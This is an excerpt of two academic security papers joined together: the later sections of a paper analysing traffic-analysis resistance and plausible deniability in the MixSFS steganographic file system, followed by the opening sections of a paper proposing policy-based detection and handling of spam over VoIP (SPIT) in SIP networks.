torture if fs′ is more likely to exist than not, then δ = 1.) The security goal of
MixSFS is to ensure that PD = 1 for the δ required by the user. The analysis
presented in the next section can be used to determine the configuration and
conditions under which MixSFS provides PD = 1.
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Note that the values of U and D are independent, even if only evidence ψ is
taken into account. Consider two cases where, for simplicity, we assume that φ
does no provide any information (i.e., Pr(φ|H0) = Pr(φ|H1).) In case (a) the
attacker obtains ψa ∈ Ψ1 with Pr(ψa|H0) = 0.1 and Pr(ψa|H1) = 0.2. While in
case (b) the attacker obtains ψb ∈ Ψ1 with Pr(ψb|H0) = 0.5 and Pr(ψb|H1) = 1.
Applying the definitions (1) and (2,) we obtain that Ua = 0.8 and Ub = 0, while
in both cases the deniability is Da = Db = 2/3. The intuition behind this is the
following: in the first case, the adversary only detects 20% of the file operations,
and once suspicious evidence ψa ∈ Ψ1 is detected, there are 33% chances that
ψa was generated by dummy traffic. In the second case, every time the user
operates on a file the adversary gets ψb ∈ Ψ1 (i.e., no unobservability,) but half
the dummy-generated sequences are also classified as ψb ∈ Ψ1, so the level of
deniability is the same as in the first case.

5 Evaluation of Traffic Analysis Resistance

5.1 How to Extract the Information from ψ

The starting point for performing traffic analysis is the evidence ψ obtained by
the adversary prior to time tc, the moment of coercion. We consider time discrete,
with each time unit corresponding to an access cycle, and refer to Sect. 2 for the
steps of the access cycle. ψ is the sequence of accesses to block locations in the
remote store, and we denote by ψ(t) : 1 ≤ ψ(t) ≤ N , the store location accessed
in cycle t, with 0 ≤ t ≤ tc. In previous work [TDDP07] it was shown that the
analysis of ψ(t) can reveal the location of hidden files in StegFS [ZPT04] (in
spite of constant rate dummy accesses to the store) due to low-entropy block
relocations.

MixSFS introduces high-entropy block relocation by using its local pool to
mix blocks, and therefore methods such as [TDDP07] are not powerful enough
to analyze MixSFS’ relocation mechanism. Pool mixes have been analyzed in
the context of anonymous communication, and we draw on the literature [DP04]
as base for our probabilistic analysis of mixes. In anonymous communication
however, a potentially infinite number of messages pass once through the mix;
while in MixSFS a finite number N of locations in the store are repeatedly
accessed. In this paper we extend existing mix analysis techniques to capture the
feedback induced by repeatedly accessing locations, and show that our function
qψ(t)(t) is a useful tool to detect correlations induced by file operations. We first
define the following notation:

– Let B be a set of blocks of interest of size |B|.
– Let qloc(t) be the probability that at the end of cycle t, any block b ∈ B is

in the remote store location loc, and qψ(t)(t) denote this probability for the
location loc = ψ(t) accessed in cycle t.

– Let Epool(t) be the expected number of blocks b ∈ B in the pool (of size P )
at the end of cycle t, 0 ≤ Epool(t) ≤ min(|B|, P − 1).
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Let us assume that before cycle t, location loc = ψ(t) contains any block of
interest b ∈ B with probability qψ(t)(t− 1). In the first step of cycle t the block
in ψ(t) is read, and placed in the pool (in step 5 of access cycle t.) If ψ(t)
contained a block b ∈ B with probability qψ(t)(t − 1) before t, the expected
number of blocks b ∈ B in the pool increases by qψ(t)(t− 1). At the end of cycle
t, a block b′ is chosen uniformly at random from the pool and stored in ψ(t).
The updated probability of ψ(t) containing b′ ∈ B is given by:

qψ(t)(t) =
1
P

[Epool(t− 1) + qψ(t)(t− 1)] (3)

And the variation of Epool(t) from cycle t− 1 to cycle t is:

Epool(t) = Epool(t− 1) + qψ(t)(t− 1)− qψ(t)(t) (4)

Analysis for One Block. Let us consider B with |B| = 1, such that the only
block b ∈ B is known to be in location loc = ψ(t0) until it is accessed in cycle
t0. At t0 − 1, the initial probability distribution describing the location of b is
qψ(t0)(t0 − 1) = 1 for position ψ(t0), and qψ(t)(t0 − 1) = 0 for ψ(t) �= ψ(t0). Note
that qloc(t) = qloc(t−1) if the location is not accessed in t (i.e., if loc �= ψ(t),) thus
when location ψ(t) is accessed for the first time in cycle t > t0, qψ(t)(t − 1) =
qψ(t)(t0 − 1). Let us assume that the sequence ψ of accesses between t0 and
t1 − 1 is such that no location is accessed more than once; i.e., ψ(t) �= ψ(t′),
∀t �= t′ : t0 ≤ t, t′ < t1. Applying equations (3) and (4,) and taking into account
that qψ(t0)(t0 − 1) = 1, and qψ(t)(t− 1) = 0 for t0 < t < t1 we obtain:

qψ(t)(t) =
1
P

(
P − 1

P
)t−t0 , t0 ≤ t < t1

Intuitively, the meaning of qψ(t)(t) is the following: b enters the pool in t0, and
with probability 1

P it is written to ψ(t0), while it stays in the pool until t0 + 1
with probability P−1

P . If ψ(t0 +1) �= ψ(t0), then qψ(t0+1)(t0) = 0 (i.e., nothing is
added to Epool(t0 + 1),) and the block written to ψ(t0 + 1) contains b if b stayed
in the pool in cycle t0 (with probability P−1

P ,) and was selected in step 6 of cycle
t0 + 1 (with probability 1

P .) The block b is in the pool at the end of t0 + 1 with
probability (P−1

P )2.
Let ψ(t1) be the first location that is accessed twice since t0; i.e., ∃t′, t0 ≤

t′ < t1 : ψ(t1) = ψ(t′). When ψ(t1) = ψ(t′) is accessed in cycle t1, it contains
b with probability qψ(t1)(t1 − 1) = qψ(t′)(t′), and therefore after reading ψ(t1)’s
content the probability that b is in the pool increases by qψ(t′)(t′). Consequently,
at the end of cycle t1, location ψ(t1) contains b with probability:

qψ(t1)(t1) =
1
P

[(
P − 1

P
)t1−t0 +

1
P

(
P − 1

P
)t′−t0 ]

The next cycle t2 > t1 when location ψ(t2) = ψ(t1) = ψ(t′) is accessed a third
time, the probability that is added to the pool is qψ(t2)(t2 − 1) = qψ(t1)(t1). The
effect of feeding qψ(t)(t−1) back to the pool is that qψ(t)(t) grows when accessing
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locations that contain b with probability qψ(t)(t − 1) > qψ(t−1)(t − 1). Figure 4
(left) shows an example for MixSFS with N = 951 remote blocks and a pool of
size P = 50; i.e., total capacity of N +P −1 = 1000 blocks (these are the default
N and P used in all our experiments.) We can see that until t1 = 70, qψ(t)(t)
follows a geometric distribution. At t1, the same location ψ(t′) that was accessed
at t′ = 33 is chosen for the second time since t0 = 0, causing a bump in qψ(t)(t).
As t → ∞, b disperses across locations becoming more uniformly distributed,
and it stabilizes when:

qψ(t)(t) = qψ(t)(t− 1) = qψ(t−1)(t− 1) =
1

N + P − 1
, t →∞

Epool(t) = Epool(t− 1) =
P − 1

N + P − 1
, t →∞

Analysis for File Operations. Let us now consider a file operation that
starts at t0 and requires fetching |B| > 1 blocks of interest from the store (i.e.,
initially Epool(t0 − 1) = 0,) and let e be the efficiency of the operation (see file
access strategy in Sect. 2.) We assume that |B|, e and t0 are known, but not the
locations of the blocks b ∈ B. If the efficiency e = 1, then the agent selects the
blocks b ∈ B sequentially, thus the adversary can infer that the blocks of interest
are those in locations ψ(t0) . . . ψ(t0 + |B| − 1). In this case, qψ(t)(t0 − 1) = 1 for
ψ(t) : t0 ≤ t < t0 + |B|, and qψ(t)(t0 − 1) = 0 otherwise. We now examine the
case where the file operation efficiency is 0 < e < 1.

Let us define n(t), a function that counts the number of fresh, distinct loca-
tions accessed before cycle t, with t ≥ t0:

n(t) =

⎧⎪⎪⎨⎪⎪⎩
0 if t = t0
n(t− 1) + 1 if ∀t′ : t0 ≤ t′ < t, ψ(t) �= ψ(t′)
n(t− 1) if ∃t′ : t0 ≤ t′ < t, ψ(t) = ψ(t′)
N if t →∞

For cycles t such that ψ(t) is fresh, the probability qψ(t)(t − 1) depends on
the number n(t) of fresh locations that have already been accessed since t0. If
n(t) < |B|, not all the blocks in B have yet been read, and the agent selects
locations containing b ∈ B with probability equal to the efficiency e of the file
operation. At t1 such that ψ(t1) is fresh and n(t1) = |B|, the agent has already
succeeded in getting all blocks of interest from the store with probability e|B|,
and the probability that ψ(t1) was selected because of containing a block of
interest is qψ(t1)(t1 − 1) = e · (1 − e|B|). In general, a location ψ(t) accessed for
the first time in cycle t, has probability qψ(t)(t− 1) of the form:

qψ(t)(t− 1) =
{

e if n(t) < |B|
e ·

∑|B|−1
k=0

(
n(t)

k

)
ek(1− e)n(t)−k if n(t) ≥ |B|

Figure 4 (right) shows the evolution in time of qψ(t)(t) when two operations with
e = 0.5 are made on a file of |B| = 40 blocks. The first operation on B starts
at time t0 = 0 (finishes at t1 = 94,) and the second starts at t2 = 294 (finishes
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Fig. 4. Function qψ(t)(t) for a single block accessed at t0 = 0 (left); and for two oper-
ations with e = 0.5 on a file of size |B| = 40, at t0 = 0 and t2 = 294 (right.)

at t3 = 360,) and the agent performs dummy accesses in cycles t1 < t < t2 and
t > t3. We can clearly see how qψ(t)(t) grows as the blocks in B are accessed for
the second time in cycles t2 ≤ t ≤ t3. The intuition is that there is a correlation
between the destinations of b ∈ B in the first file operation, and the locations
ψ(t2) . . . ψ(t3). And the function qψ(t)(t) detects this correlation even if the exact
locations of the blocks b ∈ B are not known at any point.

When the attacker guesses correctly that at t0 the user operates with efficiency
e on a file of |B| blocks, she assigns high probabilities qψ(t)(t) to the locations ψ(t)
which are likely to contain any of those blocks b ∈ B. When the file is accessed
for the second time starting at t2, their locations ψ(t) feed back to the pool
probabilities qψ(t)(t − 1) > qψ(t−1)(t − 1), such that the function qψ(t)(t) grows
(see (3)) in the time interval corresponding to the second file operation. The
correlation becomes stronger when the efficiency e or the file size |B| increase,
and it is most visible when the two file operations are separated by two or three
hundred cycles. When the two operations are closer in time, many blocks from

Fig. 5. Area α defined by qψ(t)(t) going over β10(t) (left); and distributions of f0(α)
(dummy traffic) and f1(α) (file operations) for files of sizes |B| = 6 (upper right,) and
|B| = 20 (bottom right.)
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the first operation are still in the pool, and can be obtained without accessing
the store; and when the two operations are too far apart, the correlation becomes
weaker (due to multiple relocations per block) and eventually disappears.

As illustrated by this example, qψ(t)(t) can be used by the attacker to de-
tect correlations when files are accessed several times, and therefore distinguish
between sequences ψ generated by dummy traffic and file operations, as shown
in the next section. The computation of qψ(t)(t) requires knowing (or guessing)
t0, e, and |B|. The efficiency e is a known system parameter, but the adversary
would need to try all possible file sizes up to a certain maximum size, and start
computing a few new qψ(t)(t) functions (one per file size) for every cycle t. Our
experiments indicate that the required memory and computing power to do so
are moderate, and that it would be feasible for the adversary to perform this
type of analysis in real-time on a standard PC.

5.2 Example of Test Prior to Coercion

Prior to coercion, the only information available to the attacker is the sequence
ψ of accesses to the remote store, and its function qψ(t)(t). In order to use ψ as
evidence of hidden files, the attacker first needs a way to distinguish whether ψ
is (most likely) a sequence of dummy accesses (i.e., ψ ∈ Ψ0,) or it contains file
operations (i.e., ψ ∈ Ψ1.) We assume that the adversary runs her own MixSFS
system, and learns the typical shapes of qψ(t)(t) corresponding to dummy traffic
(H0) and to operations on files of different sizes (H1.) She uses this information
to compute Pr(ψ|H0) and Pr(ψ|H1) as illustrated by the rest of this section.

The adversary first tests a large number of dummy sequences ψ0. Given that
dummy traffic selects remote locations uniformly at random, its sequence ψ0

generates functions qψ0(t)(t) that fluctuate as white noise around a “baseline.”
Let βx(t) be a baseline function such that in cycle t, qψ0(t)(t) > βx(t) only in a
percentage x of cases; i.e., β100(t) is the lower bound, β0(t) the upper bound, and
β50(t) represents the median of all the experiments (computed independently for
each point t.) As shown in the previous section, file operations generate increases
in qψ(t)(t) that are unlikely to happen at random. In order to exploit this feature
to distinguish file and dummy sequences (ψ1 and ψ0, respectively,) the adversary
compares how much qψ0(t)(t) and qψ1(t)(t) go over the baseline functions.

Let us denote as α the largest area defined by function qψ(t)(t) going above a
given baseline βx(t), as shown filled in black in Fig 5 (left) (the light background
shows many dummy functions qψ0(t)(t) superimposed.) Fig. 5 (right) shows the
probability density functions f1(α) and f0(α), computed for small and large
files with a large amount of file (H1) and dummy (H0) sequences. As we can see,
dummy sequences ψ0 produce smaller α than sequences ψ1 containing operations
on big files. On the other hand, sequences ψ1 that contain operations on small
files are hard to distinguish from dummy. The adversary constructs Ψ0 and Ψ1

using α as a distinguisher as follows:

– Let αt be the threshold area such that f0(αt) = f1(αt).
– We say ψ ∈ Ψ0 if qψ(t)(t) produces α such that α < αt, and ψ ∈ Ψ1 if α > αt.
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– Dummy traffic (H0) generates ψ ∈ Ψ0 with probability Pr(ψ ∈ Ψ0|H0) =∫ αt

0
f0(α), and ψ ∈ Ψ1 with probability Pr(ψ ∈ Ψ1|H0) =

∫ ∞
αt

f0(α).
– Similarly, file operations (H1) generate sequences ψ that are unobservable

with probability U = Pr(ψ ∈ Ψ0|H1) =
∫ αt

0
f1(α), and observable with

probability Pr(ψ ∈ Ψ1|H1) =
∫ ∞

αt
f1(α).

The quality of the distinguisher α depends strongly on the baseline βx(t) chosen
by the attacker. To select the optimal βx(t), the adversary computes f0(α) and
f1(α) for several baseline functions βx(t), x ∈ (0, 100), and chooses as optimal the
one that minimizes the probabilities Pr(ψ ∈ Ψ0|H1) =

∫ αt

0 f1(α), and Pr(ψ ∈
Ψ1|H0) =

∫ ∞
αt

f0(α). For our experiments, we have implemented an adaptive
algorithm that finds the optimal βx(t) for each file size.

5.3 Example of Test After Coercion

Consider a setting where a fraction 0 < σ < 1 of all locations are occupied
by visible blocks (i.e., blocks that belong to files of security level s or lower, as
explained in Sect. 2,) and let φ(t) = φ (with 0 ≤ φ ≤ P − 1) be the number
of visible blocks in the pool at time t. If MixSFS has been performing dummy
traffic in the cycles preceding t, then Pr(φ|H0) is given by the probability mass
function f0(φ) of a binomial distribution with parameters φ, P − 1, and σ:

Pr(φ|H0) = f0(φ) =
(

P − 1
φ

)
σφ(1 − σ)P−1−φ

Let us assume that the adversary coerces the user at time tc, and finds φ(tc) = φ
visible blocks in the pool. Intuitively, the fraction φ

P−1 of visible blocks in the
pool provides the adversary with the following information:

– If φ
P−1 is similar to σ, then it is likely that MixSFS was performing dummy

traffic for a period of time before coercion, and no evidence of hidden files is
available.

– If it is significantly higher than σ, then evidence φ suggests that operations on
visible files may have recently taken place. Note that this evidence reinforces
the claim of the user that all files are visible and no hidden files exist, meaning
that the user has perfect deniability.

– And finally, an abnormally high number of empty blocks in the pool (i.e.,
proportion of visible blocks much lower than σ,) could be the result of recent
operations on hidden files.

For any file size |B|, the adversary can run experiments to determine the dis-
tribution of Pr(φ|H1) = f1(φ). Figure 6 shows the probability mass functions
f0(φ) and f1(φ) corresponding to dummy and file operations (on files of two
sizes,) respectively. We have experimentally computed f1(φ) assuming a worst-
case scenario in which a hidden file operation finalized at tc − 1, the cycle prior
to coercion. As we can see, operations on large hidden files may result in values
of φ rarely generated by dummy traffic. On the other hand, the φ resulting from
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Fig. 6. Probability mass functions f0(φ) and f1(φ), for σ = 0.5, and hidden file sizes
|B| = 6 (left) and |B| = 20 (right.)

operations on small hidden files follows the same distribution as dummy traffic
(to the extent that at coercion, φ provides nearly no information on whether
small files exist.)

Analogously to the previous section, we can define a threshold φt such that
f0(φt) = f1(φt). We say that φ ∈ Φ0 if φ > φt, and φ ∈ Φ1 if φ < φt, and
compute the probabilities Pr(φ ∈ Φ0|Hi) =

∑P−1
φ=�φt� fi(φ) and Pr(φ ∈ Φ1|Hi) =∑�φt�

φ=0 fi(φ), associated to dummy (i = 0) and hidden file operations (i = 1.)

5.4 Results for Unobservability and Deniability

We have implemented a MixSFS simulator to validate our analysis. This section
describes the experimental setup of our implementation, and presents the results
we have obtained for unobservability and deniability in the studied configuration.
The results are meant to be illustrative and optimizations of MixSFS parameters
are out of the scope of this paper.

Experimental Setup. We considered a MixSFS with N = 951 remote storage
locations and a pool of capacity P = 50 (i.e., N + P − 1 = 1000 blocks in
total.) Files occupy between one and ten blocks, and block redundancy ensures
that, for σ = 0.5, the probability of losing a hidden file is smaller than 10−6

even if visible files grow by 10%. This redundancy is proportionally larger for
smaller files (one block files are converted to (n, m) = (6, 1), and ten block files to
(n, m) = (20, 10).) The efficiency of read and update operations are, respectively,
er = 0.75 and ew = 0.25. In each experiment files are accessed twice, and we
have tested the four combinations of read and update operations (‘rr’, ‘rw’,‘wr’,
and ‘ww’,) where the two operations are separated by a minimum of 50 and a
maximum of 800 cycles.

Unobservability. Figure 7(left) shows the results for unobservability (U) in
this setup, depending on file size and type of file operations. We can see that
consecutive file read operations are always unobservable for files of size up to
(n, m) = (14, 6); and that even for sizes (n, m) = (20, 10), file reads are unobserv-
able 90% of the times. Consecutive file updates however, are observable much
more often: over 10% of the times for the smallest files ((n, m) = (6, 1) blocks,)
and over 70% of the times for the largest files ((n, m) = (20, 10) blocks.) File
reads have higher unobservability because a random subset of m blocks is chosen
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Fig. 7. Results for unobservability (left) and deniability (right)

for each read operation (i.e., erasure codes have the side effect of substantially
reducing correlations between file read operations.) For file updates however, the
redundancy introduced by erasure codes causes more blocks to be updated, and
effectively increases the file size for update operations.

Deniability. We have analyzed deniability (D) in worst-case scenarios, where
the adversary coerces the user right after an operation on a hidden file has taken
place (whether or not the operation was observable.) We show in Fig. 7(right)
our results (boxplots of the distribution of D) for three file sizes and pairs of read
and update operations. We have classified the results depending on whether the
operations were or not unobservable, and we can see that generally, observable
operations result in lower D. This implies that an adversary who can choose
to attack the user after observing a file operation has an advantage for finding
evidence of hidden files at coercion. We can also see that D is much higher if
hidden files are just read and rarely or never updated: in this case MixSFS offers
plausible deniability PD with threshold δ = 1 for small and medium files, and
with δ = 0.01 for big files. If files are meant to be regularly updated however,
this configuration of MixSFS can only guarantee plausible deniability for small
files and δ = 0.01, even if only a small percentage (12%) of small file update
operations have a risk of providing low D.

6 Conclusions

This work studies the security of Steganographic File Systems (SFSs) intended
to protect the user against adversaries who monitor accesses to the store. We
have presented an architecture of SFS that uses pool mixes to achieve high-
entropy block relocation, and prevent known vulnerabilities to traffic analysis
attacks [TDDP07] that exploit low-entropy relocation algorithms [ZPT04].

We have defined probabilistic metrics to quantify the unobservability and
(plausible) deniability provided by SFSs against coercion attacks. Building on
existing mix analysis techniques [DP04], we have presented novel traffic analysis
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methods to evaluate the security of SFSs subject to continuous observation. In
order to validate our approach we have implemented a MixSFS simulator, exam-
ined each step of the attack process, and computed results for unobservability
and deniability in a experimental setup. Although we use as example in our
analysis a particular type of pool mix, it is trivial to adapt our analysis to other
probabilistic relocation mechanisms. The methods introduced here serve as basis
for further work on the design and evaluation of traffic analysis resistant SFSs.
We note that previous designs have given little or no attention to preventing
these types of attacks, in spite of sometimes relying on architectures that use
distributed peer-to-peer storage [GL04, HR02], or remote stores observable by
third parties, and are thus vulnerable to the adversary and attacks described
here.

To better illustrate our contribution, we have considered a very simple dummy
access strategy, that chooses blocks uniformly at random amongst all blocks in
the store. Our results show that this naive strategy can only conceal accesses
to small files. The design of more sophisticated dummy access strategies that
offer better unobservability and deniability remains as an open line for further
research. Similarly, a fully functional MixSFS implementation would require the
specification of additional operations, such as regenerating files after some blocks
have been lost or changing user keys after coercion.
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Abstract. Voice over IP (VoIP) is a key enabling technology, which
provides new ways of communication. VoIP technologies take advantage
of existing data networks to provide inexpensive voice communications
worldwide as a promising alternative to the traditional telephone ser-
vice. At the same time, VoIP provides the means for transmitting bulk
unsolicited calls, namely SPam over Internet Telephony (SPIT). SPIT
is, up to a given extend, similar to email spam. However, it is expected
to be more frustrating because of the real-time processing requirements
of voice calls. In this paper we set the foundations of an adaptive ap-
proach that handles SPIT through a policy-based management approach
(aSPM). aSPM incorporates a set of rules for SPIT attacks detections,
together with appropriate actions and controls that should be enforced so
as to counter these attacks. Furthermore, the policy is formally described
through an XML schema, which refers to both, the attack detection rules,
and the corresponding defense actions.

Keywords: VoIP, SPIT, Attack Graphs, Attack Trees, Policy, Rules,
Actions.

1 Introduction and Related Work

The explosive growth of the Internet has introduced a wide array of new tech-
nological advances and more sophisticated end-user services. Development in
data networks facilitated the introduction of VoIP technologies, which have
been increasingly penetrating the telephony market in the last years. VoIP ad-
vantages include seamless integration with the existing data networks, porta-
bility, accessibility, and convergence of telephone networks. These are some
of the reasons that make VoIP an attractive and advantageous network
technology.

Currently, VoIP implementations are mainly based on the Session Initiation
Protocol (SIP) [1], which tends to be the dominant protocol in VoIP environ-
ments. However, the use of Internet Telephony in accordance with the vulner-
abilities posed by its underlying infrastructure, i.e. the Internet and the SIP
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Fig. 1. A macroscopic view of the aSPM approach

protocol, also facilitates the exploitation of new threats and vulnerabilities. For
instance, low- or zero-cost calls and zero-cost instance messages, combined with
the pervasiveness of Internet, could be an attractive tool for malicious users, e.g.,
spammers, to make bulk unsolicited calls and/or send bulk unsolicited instant
messages. This situation introduced a new form of spam, which - in the case
of VoIP environments - is called Spam over Internet Telephony (SPIT) [2,3]. If
there are no means to counter SPIT effectively,then an unfortunate situation
will probably arise, where the use of Internet Telephony would be a synonym to
frustration, and not to convenience and cost-effectiveness.

In this paper we propose a policy-based approach, as a means to manage
the SPIT phenomenon in a holistic way. The approach is primarily based on
a SIP protocol threat and vulnerability analysis. A result of this analysis was
the identification of a series of attack scenarios. In turn, the attack scenarios
were facilitated in an effort to define SPIT detection rules. These rules led to
the identification and description of specific actions and controls for handling,
countering, and mitigating SPIT attacks. Finally, an XML schema was used as a
means for both, first, describing the detection rules, and, second, for specifying
the SPIT handling controls and actions. Figure 1 depicts the functionality of
this approach.

The paper is organized as follows: First, we illustrate related work on SPIT
fighting and management. Then, we present the main parameters of the SPIT
phenomenon, together with the notion of electronic policies. In section 4 we de-
scribe, in a generic way, the proposed policy-based SPIT management system
(aSPM). In section 5, we briefly present SPIT-related vulnerabilities. In the fol-
lowing section, we describe how we realize SPIT attack scenarios, based on attack
graphs. In section 7, we analyze aSPM further, based on an appropriate XML
schema, together with the conditions that might indicate a SPIT attack, and a
set of counter actions. In section 8, we propose how aSPM can be practically
applied to a SIP environment. Finally, we arrived to a number of conclusions,
and our plans for future work.

Current methodologies for developing anti-SPIT policies are described in more
or less abstract level. As a result, they focus mainly on high level aspects of
security, i.e. user preferences, while they leave aside technical aspects, such as
authentication and authorization requirements, etc.
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Two of the more often referred to papers on anti-SPIT policy are proposed
as Internet drafts (IETF). The first one [4] proposes an authorization policy
and recommends an XML structure, which identifies possible SPIT and suggests
countermeasures. The main drawback of it is that the identification is based
mainly on users URI and not on other SIP protocol aspects. Furthermore, it
does not include the recommended rules and conditions. The second one [5]
is a Call Processing Language (CPL), which describes and controls Internet
telephony services. It is developed for either network servers, or user agents. It
provides an XML schema, as well as the proposed values of some of its element.
The weakness of this approach is that it is quite generic. It is focused on how
one can represent VoIP services, and ignores the SPIT phenomenon and how it
can be prevented.

Our approach aims at reducing the SPIT threat. The means for doing so is a
policy-based management system, relied on well-defined criteria and countermea-
sures, which are applied directly to the SIP messages. Moreover, this approach
is independent of the application that is used in the VoIP Infrastructure.

2 SPIT Phenomenon

2.1 VoIP and SPIT

VoIP implementations are usually based on the Session Initiation Protocol (SIP)
[1]. SIP is an application layer protocol that is used to create, maintain, and
terminate multimedia sessions. The basic SIP entities, which support its func-
tionality, are (a) User Agents (UA), which act as communication end-points, and
(b) SIP servers, which help and support the SIP sessions.

SPIT is a new type of threat in VoIP infrastructures. It is defined as a set of
bulk unsolicited voice calls or instant messages. SPIT has three different types,
namely [3]: (a) call SPIT, (b) instant message SPIT, and (c) presence SPIT.
SPIT is expected to become, sooner or later, attractive to malicious users, thus
making the further growth of VoIP technology practically challenging. Manag-
ing SPIT requires: (a) appropriate criteria for SPIT detection, as well as (b)
actions, controls, and countermeasures for SPIT handling. Such a management
capability, in terms of detection and handling, is hard to attain, mainly due
to the real-time nature of VoIP communications. The problem becomes worse,
as the techniques which are currently adopted for anti-spam purposes (i.e. con-
tent analysis based on Bayesian filters, or approaches [6] which aim at preventing
SPIT by recognizing voice communication patterns, etc.) are not fully applicable
to the SPIT context.

2.2 Policies

A VoIP infrastructure is actually a software-based application system that aims
to assist users to communicate with each other. However, due to its inherent
characteristics, it may also help malicious users to exploit it and make low- or
zero-cost unsolicited calls.
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In this paper we propose an adaptive policy-based SPIT management sys-
tem, which can: (a) identify SPIT calls/messages and (b) provide appropriate
actions (countermeasures) during the initiation handshake of a VoIP call. The
adaptation property is achieved by providing not only the option of adding new
conditions and/or actions, but also the ability to administrators of each VoIP
domain to choose the appropriate rules, according to their preferences and needs.

Policies can be sorted into two basic types, namely [7]: authorization policies
and obligation policies. Authorization policies are used to define access rights for
a subject (management agent, user, or role). They can be either positive (permit
action on target object), or negative (forbid action on target object). As such,
authorization policies are used to define access control rules implemented by
several types of mechanisms in a network security system, such as packet filters.
Obligation policies are event-triggered condition-action rules are used to define
what kind of activities a subject (human or automated manager components)
must perform on objects in the target domain. In the network security context,
obligation policies can be used to specify the functionality of mechanisms, such
as intrusion detection systems (IDS).

We consider the anti-SPIT policy as an obligation policy. It facilitates an ex-
isting set of relevant rules and enables SPIT handling, i.e., refers to the actions
that should be considered whenever a SPIT call/message is detected. Policy
rules define which behavior is desired (legal) in a VoIP system. They do not
describe the actions and event sequences that actually produce desired or un-
desired behavior. Therefore, policy rules alone are not sufficient to model every
(behavioral) aspect of a VoIP system. Therefore, a policy rule set can only be
assessed and sensibly interpreted in combination with adequate knowledge, re-
garding its embedding context. For this reason, a series of attack scenarios could
help for modeling better the VoIP context.

3 Methodology

The proposed SPIT management methodology is depicted, in a functional man-
ner, in Figure 2.

The first step of the methodology aims at an in-depth examination and analy-
sis of the SIP protocol, in terms of SPIT. The scope of the analysis is to identify
the SIP-related SPIT vulnerabilities, as well as the methods used by the at-
tackers (spitters). The result of the SIP analysis was a number of well-defined
SPIT-related threats and vulnerabilities, in accordance with the SIP RFC [1].
In the second step, the identified vulnerabilities are divided in categories. Such
a categorization can help the VoIP system administrator recognize and enforce
specific policy rules to specific entities, according to the communication segment
each one belongs to. The third step aims at developing the attack scenarios.
These scenarios were essential, so as to produce the appropriate rules for the pol-
icy. The development of scenarios is a two-step procedure: (a) a SPIT-oriented
attack graph was designed, based on the identified vulnerabilities (its underlying
attack trees were also built), and (b) a set of SPIT attack scenarios was pro-
duced, having the corresponding attack graph as input. The next step aims at
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Fig. 2. aSPM: Development methodology

describing a set of SPIT handling actions and controls, so as to counter each and
every attack scenario. The selection of the essential actions was, mainly, based
on SIP messages [8,9]. The actions are SIP messages, because the policy should:
(a) be transparent to the administrators and users, and (b) keep to a minimum
the participation of other applications during message handling. The final step
aims at formally combining the attack scenarios with the proposed countermea-
sures (actions). In order to do so, the XML language was selected and used.
The development of an XML schema not only facilitated the definition of a for-
mal anti-SPIT policy, but also generated a flexible policy description, which is
adoptable by most SIP infrastructures.

4 Threat Analysis - Vulnerability Analysis and
Categorization

Although several similarities exist between spam and SPIT, the real-time nature
of VoIP sessions and services, in contrast with the store-and-forward function-
ality of email technology, force to consider new ways for SPIT handling.

It is evident that it is more efficient to deal with SPIT in the signaling phase,
i.e., where the SIP protocol is applied, than to process the content of an instant
call. Thus, an in-depth analysis of the SIP protocol was carried out, in order
to identify the SPIT-related SIP vulnerabilities and threats [10,11]. The set
of vulnerabilities proposed in these papers were: (a) related to SIP protocol
vulnerabilities, (b) due to SIP RFC optional recommendations, (c) related to
interoperability with other protocols and (d) due to more generic security issues.
For the analysis we considered the threats, which were derived from the first two
categories. Table 1 depicts the identified vulnerabilities, which can be exploited
by a spitter. The categorization of vulnerabilities was performed by taking into
account that there are multiple points of communication, where the anti-SPIT
policy actions could be enforced. The points of communication refer to all the
entities that participate to a SIP session establishment, i.e., the intermediate



An Adaptive Policy-Based Approach to SPIT Management 451

Table 1. SPIT-related SIP vulnerabilities

List of vulnerabilities

General vulnerabilities

Listening to a multicast address Population of ”active” addresses.

Sending messages to multicast addresses Exploitation of forking proxies.

Exploitation of messages and header fields structure

Request Messages: INVITE and ACK Request Messages: MESSAGE

Response Messages

Header fields of messages

Subject From

Contact and To Retry After

Warning Content-Disposition

Content-Type Priority

Monitoring traffic near SIP servers Sending Ambiguous Requests to Proxies

Contacting a redirect server with ambiguous requests Throwaway SIP accounts

Misuse of stateless servers Anonymous SIP servers and back-to-back user agents

Exploitation of messages headers fields

Alert-Info Call-Info

Error-Info Exploitation of registrars

Port scanning of well-known SIP ports Exploitation of re-INVITES messages

Exploitation of the record-route header field

Fig. 3. Communication segments

domain proxies, as well as the proxies of the caller and the callee. The proposed
segments, presented in Figure 3, are: (1) the communication part which lies
between the callers device and the domain proxy that serves the caller, (2) the
communication part that lies between proxies or redirect servers, and (3) the
communications part that lies between the callees device and the domain proxy
of the callee.

The first segment is the point where the SIP session establishment requests
start. This segment also receives responses from the intermediate or final servers
that serve the caller’s requests. The second segment suffers by vulnerabilities
related to the intermediate servers. These vulnerabilities have to do mainly with
the routing of the messages, as well as with the way the servers react in cer-
tain conditions. This segment obtains fewer rules, as limiting the freedom of
the intermediate servers is not advised. The third segment corresponds to the
communication that takes place within the callees domain.

The above categories may, at first glance, seem obvious. This is not the case,
as in the SIP protocol every element that participates in a session does not have
a particular role for the entire session. For example, an entity that participates to
a SIP negotiation process might be also in the status of receiving/transmitting
SIP messages (requests/ responses).
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5 Development of Scenarios

Most attacks to an information system are realized through the exploitation of
one or more of its vulnerabilities [12]. In the SPIT context, such a process could
be based on, first, gathering a list of SIP URI addresses, then preparing the
real SPIT message, and, finally, forwarding the SPIT message to the intended
recipients. Such a series of steps could be proved useful for preventing and/or
handling future attacks.

Attack graphs and attack trees are used for modeling attacks against an in-
formation system, a computer, or a network [13]. In existing publications, i.e.,
[14], such a SIP-oriented SPIT attack model was proposed. The structure of
this model consists of three levels (from the most generic to the most detailed),
namely: (a) the SPIT attack method (i.e. the series of steps of an attack), (b)
the SIP-oriented SPIT attack graph (description of the attack method through
the relationships among abstract attacks), and (c) the SIP-oriented SPIT attack
trees (analysis of every abstract attack).

The model, which is depicted in Figure 4, describes the SPIT attack scenarios
and provides a method for modeling them. In detail, the attack graph is pre-
sented in the left part. The basic nodes (1 to 7) represent the abstract attacks
[12], namely: (1) find and collect users addresses, (2) send bulk messages, (3)
proxies-in-the-middle attack, (4) maximize profit, (5) hide identity-track when
setting-up an attack, (6) hide identity-track when sending a SPIT call/message,
and (7) encapsulate SPIT in SIP messages. The arrows depict the possible con-
nections/relations between the attacks.

The graph does not have a single start-node or end-node; it only demonstrates
the exploitation of SIP protocol vulnerabilities. On the other hand, the right part
